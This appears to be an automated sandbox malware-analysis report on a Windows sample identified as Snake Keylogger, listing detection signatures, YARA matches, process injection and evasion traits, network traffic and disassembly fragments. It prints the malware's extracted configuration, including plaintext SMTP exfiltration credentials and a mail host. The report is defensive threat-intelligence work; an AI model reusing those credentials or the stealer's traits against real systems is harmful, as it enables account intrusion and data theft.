Edit tour

Windows Analysis Report
PT98765445670009.scr.exe

Overview

General Information

Sample name:	PT98765445670009.scr.exe
Analysis ID:	1416398
MD5:	90a34e7d570fa7c219eb5f1f193611ba
SHA1:	0d5d3955b04174b8f21c7bdd8d80ff21507e409c
SHA256:	301271b7db09d4769df8953807ea16c44578a4c4b92ef50f24da27c144f95522
Tags:	exeSnakeKeylogger
Infos:

Detection

Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected Snake Keylogger

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

Injects a PE file into a foreign processes

Machine Learning detection for sample

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

PT98765445670009.scr.exe (PID: 6900 cmdline: "C:\Users\user\Desktop\PT98765445670009.scr.exe" MD5: 90A34E7D570FA7C219EB5F1F193611BA)

PT98765445670009.scr.exe (PID: 6880 cmdline: "C:\Users\user\Desktop\PT98765445670009.scr.exe" MD5: 90A34E7D570FA7C219EB5F1F193611BA)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "contabilidad@daipro.com.mx", "Password": "DAIpro123**", "Host": "mail.daipro.com.mx", "Port": "587"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.1240469053.0000000005500000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x4ac6b:$x1: In$J$ct0r
00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14808:$a1: get_encryptedPassword 0x14afe:$a2: get_encryptedUsername 0x14614:$a3: get_timePasswordChanged 0x1470f:$a4: get_passwordField 0x1481e:$a5: set_encryptedPassword 0x15e4a:$a7: get_logins 0x15dad:$a10: KeyLoggerEventArgs 0x15a46:$a11: KeyLoggerEventArgsEventHandler
00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x18104:$x1: $%SMTPDV$ 0x18168:$x2: $#TheHashHere%& 0x197eb:$x3: %FTPDV$ 0x198df:$x4: $%TelegramDv$ 0x15a46:$x5: KeyLoggerEventArgs 0x15dad:$x5: KeyLoggerEventArgs 0x1980f:$m2: Clipboard Logs ID 0x199db:$m2: Screenshot Logs ID 0x19aa7:$m2: keystroke Logs ID 0x199b3:$m4: \SnakeKeylogger\
00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x56c38:$a1: get_encryptedPassword 0x77668:$a1: get_encryptedPassword 0x97e88:$a1: get_encryptedPassword 0x56f2e:$a2: get_encryptedUsername 0x7795e:$a2: get_encryptedUsername 0x9817e:$a2: get_encryptedUsername 0x56a44:$a3: get_timePasswordChanged 0x77474:$a3: get_timePasswordChanged 0x97c94:$a3: get_timePasswordChanged 0x56b3f:$a4: get_passwordField 0x7756f:$a4: get_passwordField 0x97d8f:$a4: get_passwordField 0x56c4e:$a5: set_encryptedPassword 0x7767e:$a5: set_encryptedPassword 0x97e9e:$a5: set_encryptedPassword 0x5827a:$a7: get_logins 0x78caa:$a7: get_logins 0x994ca:$a7: get_logins 0x581dd:$a10: KeyLoggerEventArgs 0x78c0d:$a10: KeyLoggerEventArgs 0x9942d:$a10: KeyLoggerEventArgs
00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x5a534:$x1: $%SMTPDV$ 0x7af64:$x1: $%SMTPDV$ 0x9b784:$x1: $%SMTPDV$ 0x5a598:$x2: $#TheHashHere%& 0x7afc8:$x2: $#TheHashHere%& 0x9b7e8:$x2: $#TheHashHere%& 0x5bc1b:$x3: %FTPDV$ 0x7c64b:$x3: %FTPDV$ 0x9ce6b:$x3: %FTPDV$ 0x5bd0f:$x4: $%TelegramDv$ 0x7c73f:$x4: $%TelegramDv$ 0x9cf5f:$x4: $%TelegramDv$ 0x57e76:$x5: KeyLoggerEventArgs 0x581dd:$x5: KeyLoggerEventArgs 0x788a6:$x5: KeyLoggerEventArgs 0x78c0d:$x5: KeyLoggerEventArgs 0x990c6:$x5: KeyLoggerEventArgs 0x9942d:$x5: KeyLoggerEventArgs 0x5bc3f:$m2: Clipboard Logs ID 0x5be0b:$m2: Screenshot Logs ID 0x5bed7:$m2: keystroke Logs ID
00000002.00000002.3688666945.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: PT98765445670009.scr.exe PID: 6900	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PT98765445670009.scr.exe PID: 6900	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: PT98765445670009.scr.exe PID: 6900	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: PT98765445670009.scr.exe PID: 6900	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3390:$a1: get_encryptedPassword 0x367c:$a2: get_encryptedUsername 0x31a6:$a3: get_timePasswordChanged 0x32a1:$a4: get_passwordField 0x33a6:$a5: set_encryptedPassword 0x57e3:$a7: get_logins 0x5746:$a10: KeyLoggerEventArgs 0x53df:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: PT98765445670009.scr.exe PID: 6900	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x53df:$x5: KeyLoggerEventArgs 0x5746:$x5: KeyLoggerEventArgs 0x6034:$x5: KeyLoggerEventArgs 0x6368:$x5: KeyLoggerEventArgs 0x798c:$m2: Clipboard Logs ID 0x7a6c:$m2: Screenshot Logs ID 0x7aa0:$m2: keystroke Logs ID 0x7a58:$m4: \SnakeKeylogger\
Process Memory Space: PT98765445670009.scr.exe PID: 6880	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PT98765445670009.scr.exe PID: 6880	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: PT98765445670009.scr.exe PID: 6880	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x65f19:$a1: get_encryptedPassword 0x66205:$a2: get_encryptedUsername 0x65d2f:$a3: get_timePasswordChanged 0x65e2a:$a4: get_passwordField 0x65f2f:$a5: set_encryptedPassword 0x6836c:$a7: get_logins 0x682cf:$a10: KeyLoggerEventArgs 0x67f68:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: PT98765445670009.scr.exe PID: 6880	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x67f68:$x5: KeyLoggerEventArgs 0x682cf:$x5: KeyLoggerEventArgs 0x68bbd:$x5: KeyLoggerEventArgs 0x68ef1:$x5: KeyLoggerEventArgs 0x6a515:$m2: Clipboard Logs ID 0x6a5f5:$m2: Screenshot Logs ID 0x6a629:$m2: keystroke Logs ID 0x6a5e1:$m4: \SnakeKeylogger\
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.PT98765445670009.scr.exe.5500000.6.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x4ac6b:$x1: In$J$ct0r
1.2.PT98765445670009.scr.exe.3f93da0.4.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x48e6b:$x1: In$J$ct0r
1.2.PT98765445670009.scr.exe.3fe25d0.2.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x48e6b:$x1: In$J$ct0r
1.2.PT98765445670009.scr.exe.5500000.6.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x48e6b:$x1: In$J$ct0r
1.2.PT98765445670009.scr.exe.4096c60.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.PT98765445670009.scr.exe.4096c60.3.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
1.2.PT98765445670009.scr.exe.4096c60.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12c08:$a1: get_encryptedPassword 0x12efe:$a2: get_encryptedUsername 0x12a14:$a3: get_timePasswordChanged 0x12b0f:$a4: get_passwordField 0x12c1e:$a5: set_encryptedPassword 0x1424a:$a7: get_logins 0x141ad:$a10: KeyLoggerEventArgs 0x13e46:$a11: KeyLoggerEventArgsEventHandler
1.2.PT98765445670009.scr.exe.4096c60.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a4ef:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19721:$a3: \Google\Chrome\User Data\Default\Login Data 0x19b54:$a4: \Orbitum\User Data\Default\Login Data 0x1ab93:$a5: \Kometa\User Data\Default\Login Data
1.2.PT98765445670009.scr.exe.4096c60.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1378a:$s1: UnHook 0x13791:$s2: SetHook 0x13799:$s3: CallNextHook 0x137a6:$s4: _hook
1.2.PT98765445670009.scr.exe.4096c60.3.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x16504:$x1: $%SMTPDV$ 0x16568:$x2: $#TheHashHere%& 0x17beb:$x3: %FTPDV$ 0x17cdf:$x4: $%TelegramDv$ 0x13e46:$x5: KeyLoggerEventArgs 0x141ad:$x5: KeyLoggerEventArgs 0x17c0f:$m2: Clipboard Logs ID 0x17ddb:$m2: Screenshot Logs ID 0x17ea7:$m2: keystroke Logs ID 0x17db3:$m4: \SnakeKeylogger\
1.2.PT98765445670009.scr.exe.4076230.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.PT98765445670009.scr.exe.4076230.5.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
1.2.PT98765445670009.scr.exe.4076230.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12c08:$a1: get_encryptedPassword 0x12efe:$a2: get_encryptedUsername 0x12a14:$a3: get_timePasswordChanged 0x12b0f:$a4: get_passwordField 0x12c1e:$a5: set_encryptedPassword 0x1424a:$a7: get_logins 0x141ad:$a10: KeyLoggerEventArgs 0x13e46:$a11: KeyLoggerEventArgsEventHandler
1.2.PT98765445670009.scr.exe.4076230.5.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a4ef:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19721:$a3: \Google\Chrome\User Data\Default\Login Data 0x19b54:$a4: \Orbitum\User Data\Default\Login Data 0x1ab93:$a5: \Kometa\User Data\Default\Login Data
1.2.PT98765445670009.scr.exe.4076230.5.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1378a:$s1: UnHook 0x13791:$s2: SetHook 0x13799:$s3: CallNextHook 0x137a6:$s4: _hook
1.2.PT98765445670009.scr.exe.4076230.5.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x16504:$x1: $%SMTPDV$ 0x16568:$x2: $#TheHashHere%& 0x17beb:$x3: %FTPDV$ 0x17cdf:$x4: $%TelegramDv$ 0x13e46:$x5: KeyLoggerEventArgs 0x141ad:$x5: KeyLoggerEventArgs 0x17c0f:$m2: Clipboard Logs ID 0x17ddb:$m2: Screenshot Logs ID 0x17ea7:$m2: keystroke Logs ID 0x17db3:$m4: \SnakeKeylogger\
2.2.PT98765445670009.scr.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.PT98765445670009.scr.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.PT98765445670009.scr.exe.400000.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
2.2.PT98765445670009.scr.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14a08:$a1: get_encryptedPassword 0x14cfe:$a2: get_encryptedUsername 0x14814:$a3: get_timePasswordChanged 0x1490f:$a4: get_passwordField 0x14a1e:$a5: set_encryptedPassword 0x1604a:$a7: get_logins 0x15fad:$a10: KeyLoggerEventArgs 0x15c46:$a11: KeyLoggerEventArgsEventHandler
2.2.PT98765445670009.scr.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c2ef:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b521:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b954:$a4: \Orbitum\User Data\Default\Login Data 0x1c993:$a5: \Kometa\User Data\Default\Login Data
2.2.PT98765445670009.scr.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1558a:$s1: UnHook 0x15591:$s2: SetHook 0x15599:$s3: CallNextHook 0x155a6:$s4: _hook
2.2.PT98765445670009.scr.exe.400000.0.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x18304:$x1: $%SMTPDV$ 0x18368:$x2: $#TheHashHere%& 0x199eb:$x3: %FTPDV$ 0x19adf:$x4: $%TelegramDv$ 0x15c46:$x5: KeyLoggerEventArgs 0x15fad:$x5: KeyLoggerEventArgs 0x19a0f:$m2: Clipboard Logs ID 0x19bdb:$m2: Screenshot Logs ID 0x19ca7:$m2: keystroke Logs ID 0x19bb3:$m4: \SnakeKeylogger\
1.2.PT98765445670009.scr.exe.3f93da0.4.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x4ac6b:$x1: In$J$ct0r 0x9949b:$x1: In$J$ct0r
1.2.PT98765445670009.scr.exe.3fe25d0.2.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x4ac6b:$x1: In$J$ct0r
1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14a08:$a1: get_encryptedPassword 0x35228:$a1: get_encryptedPassword 0x14cfe:$a2: get_encryptedUsername 0x3551e:$a2: get_encryptedUsername 0x14814:$a3: get_timePasswordChanged 0x35034:$a3: get_timePasswordChanged 0x1490f:$a4: get_passwordField 0x3512f:$a4: get_passwordField 0x14a1e:$a5: set_encryptedPassword 0x3523e:$a5: set_encryptedPassword 0x1604a:$a7: get_logins 0x3686a:$a7: get_logins 0x15fad:$a10: KeyLoggerEventArgs 0x367cd:$a10: KeyLoggerEventArgs 0x15c46:$a11: KeyLoggerEventArgsEventHandler 0x36466:$a11: KeyLoggerEventArgsEventHandler
1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c2ef:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3cb0f:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b521:$a3: \Google\Chrome\User Data\Default\Login Data 0x3bd41:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b954:$a4: \Orbitum\User Data\Default\Login Data 0x3c174:$a4: \Orbitum\User Data\Default\Login Data 0x1c993:$a5: \Kometa\User Data\Default\Login Data 0x3d1b3:$a5: \Kometa\User Data\Default\Login Data
1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1558a:$s1: UnHook 0x35daa:$s1: UnHook 0x15591:$s2: SetHook 0x35db1:$s2: SetHook 0x15599:$s3: CallNextHook 0x35db9:$s3: CallNextHook 0x155a6:$s4: _hook 0x35dc6:$s4: _hook
1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x18304:$x1: $%SMTPDV$ 0x38b24:$x1: $%SMTPDV$ 0x18368:$x2: $#TheHashHere%& 0x38b88:$x2: $#TheHashHere%& 0x199eb:$x3: %FTPDV$ 0x3a20b:$x3: %FTPDV$ 0x19adf:$x4: $%TelegramDv$ 0x3a2ff:$x4: $%TelegramDv$ 0x15c46:$x5: KeyLoggerEventArgs 0x15fad:$x5: KeyLoggerEventArgs 0x36466:$x5: KeyLoggerEventArgs 0x367cd:$x5: KeyLoggerEventArgs 0x19a0f:$m2: Clipboard Logs ID 0x19bdb:$m2: Screenshot Logs ID 0x19ca7:$m2: keystroke Logs ID 0x3a22f:$m2: Clipboard Logs ID 0x3a3fb:$m2: Screenshot Logs ID 0x3a4c7:$m2: keystroke Logs ID 0x19bb3:$m4: \SnakeKeylogger\ 0x3a3d3:$m4: \SnakeKeylogger\
1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14a08:$a1: get_encryptedPassword 0x35438:$a1: get_encryptedPassword 0x55c58:$a1: get_encryptedPassword 0x14cfe:$a2: get_encryptedUsername 0x3572e:$a2: get_encryptedUsername 0x55f4e:$a2: get_encryptedUsername 0x14814:$a3: get_timePasswordChanged 0x35244:$a3: get_timePasswordChanged 0x55a64:$a3: get_timePasswordChanged 0x1490f:$a4: get_passwordField 0x3533f:$a4: get_passwordField 0x55b5f:$a4: get_passwordField 0x14a1e:$a5: set_encryptedPassword 0x3544e:$a5: set_encryptedPassword 0x55c6e:$a5: set_encryptedPassword 0x1604a:$a7: get_logins 0x36a7a:$a7: get_logins 0x5729a:$a7: get_logins 0x15fad:$a10: KeyLoggerEventArgs 0x369dd:$a10: KeyLoggerEventArgs 0x571fd:$a10: KeyLoggerEventArgs
1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c2ef:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3cd1f:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x5d53f:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b521:$a3: \Google\Chrome\User Data\Default\Login Data 0x3bf51:$a3: \Google\Chrome\User Data\Default\Login Data 0x5c771:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b954:$a4: \Orbitum\User Data\Default\Login Data 0x3c384:$a4: \Orbitum\User Data\Default\Login Data 0x5cba4:$a4: \Orbitum\User Data\Default\Login Data 0x1c993:$a5: \Kometa\User Data\Default\Login Data 0x3d3c3:$a5: \Kometa\User Data\Default\Login Data 0x5dbe3:$a5: \Kometa\User Data\Default\Login Data
1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1558a:$s1: UnHook 0x35fba:$s1: UnHook 0x567da:$s1: UnHook 0x15591:$s2: SetHook 0x35fc1:$s2: SetHook 0x567e1:$s2: SetHook 0x15599:$s3: CallNextHook 0x35fc9:$s3: CallNextHook 0x567e9:$s3: CallNextHook 0x155a6:$s4: _hook 0x35fd6:$s4: _hook 0x567f6:$s4: _hook
1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x18304:$x1: $%SMTPDV$ 0x38d34:$x1: $%SMTPDV$ 0x59554:$x1: $%SMTPDV$ 0x18368:$x2: $#TheHashHere%& 0x38d98:$x2: $#TheHashHere%& 0x595b8:$x2: $#TheHashHere%& 0x199eb:$x3: %FTPDV$ 0x3a41b:$x3: %FTPDV$ 0x5ac3b:$x3: %FTPDV$ 0x19adf:$x4: $%TelegramDv$ 0x3a50f:$x4: $%TelegramDv$ 0x5ad2f:$x4: $%TelegramDv$ 0x15c46:$x5: KeyLoggerEventArgs 0x15fad:$x5: KeyLoggerEventArgs 0x36676:$x5: KeyLoggerEventArgs 0x369dd:$x5: KeyLoggerEventArgs 0x56e96:$x5: KeyLoggerEventArgs 0x571fd:$x5: KeyLoggerEventArgs 0x19a0f:$m2: Clipboard Logs ID 0x19bdb:$m2: Screenshot Logs ID 0x19ca7:$m2: keystroke Logs ID
1.2.PT98765445670009.scr.exe.2f53b10.0.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0xc7e2c:$x1: In$J$ct0r 0xc9b50:$a1: WriteProcessMemory 0xc9bdc:$a1: WriteProcessMemory 0xc9cb0:$a4: VirtualAllocEx 0xc9ed4:$a4: VirtualAllocEx 0xc9f54:$a4: VirtualAllocEx 0xca34:$s3: net.pipe 0xc80f0:$s3: net.pipe 0xc8110:$s4: vsmacros
1.2.PT98765445670009.scr.exe.2f512e8.1.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0xca654:$x1: In$J$ct0r 0xcc378:$a1: WriteProcessMemory 0xcc404:$a1: WriteProcessMemory 0xcc4d8:$a4: VirtualAllocEx 0xcc6fc:$a4: VirtualAllocEx 0xcc77c:$a4: VirtualAllocEx 0xf25c:$s3: net.pipe 0xca918:$s3: net.pipe 0xca938:$s4: vsmacros
Click to see the 36 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: PT98765445670009.scr.exe

Avira: detected

Found malware configuration

Source: 00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "contabilidad@daipro.com.mx", "Password": "DAIpro123**", "Host": "mail.daipro.com.mx", "Port": "587"}

Multi AV Scanner detection for domain / URL

Source: scratchdreams.tk	Virustotal: Detection: 6%	Perma Link
Source: http://scratchdreams.tk	Virustotal: Detection: 6%	Perma Link
Source: https://scratchdreams.tk	Virustotal: Detection: 13%	Perma Link

Multi AV Scanner detection for submitted file

Source: PT98765445670009.scr.exe	ReversingLabs: Detection: 50%
Source: PT98765445670009.scr.exe	Virustotal: Detection: 59%			Perma Link

Machine Learning detection for sample

Source: PT98765445670009.scr.exe

Joe Sandbox ML: detected

Source: PT98765445670009.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 172.67.177.134:443 -> 192.168.2.7:49700 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 104.21.27.85:443 -> 192.168.2.7:49714 version: TLS 1.2

Source: PT98765445670009.scr.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: C:\Users\GT350\source\repos\UpdatedRunpe\UpdatedRunpe\obj\x86\Debug\AQipUvwTwkLZyiCs.pdb source: PT98765445670009.scr.exe, 00000001.00000002.1240796896.00000000055C0000.00000004.08000000.00040000.00000000.sdmp, PT98765445670009.scr.exe, 00000001.00000002.1239975180.0000000002F41000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 02C3FCD1h	2_2_02C3FA10
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 02C3EFDDh	2_2_02C3EDF0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 02C3F967h	2_2_02C3EDF0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	2_2_02C3E310
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052C1011h	2_2_052C0D60
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052C15D8h	2_2_052C11C0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052CCB61h	2_2_052CC8B8
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052C15D8h	2_2_052C1506
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052CCFB9h	2_2_052CCD10
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052CD869h	2_2_052CD5C0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052CF6D1h	2_2_052CF428
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052CC709h	2_2_052CC460
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052C0751h	2_2_052C04A0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052CE9C9h	2_2_052CE720
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052CBA01h	2_2_052CB758
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052CF279h	2_2_052CEFD0
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052CE119h	2_2_052CDE70
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052C0BB1h	2_2_052C0900
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052CD411h	2_2_052CD168
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052C15D8h	2_2_052C11B1
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052CC2B1h	2_2_052CC008
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052C02F1h	2_2_052C0040
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052CFB29h	2_2_052CF880
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052CB5A9h	2_2_052CB300
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052CEE21h	2_2_052CEB78
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Code function: 4x nop then jmp 052CBE59h	2_2_052CBBB0
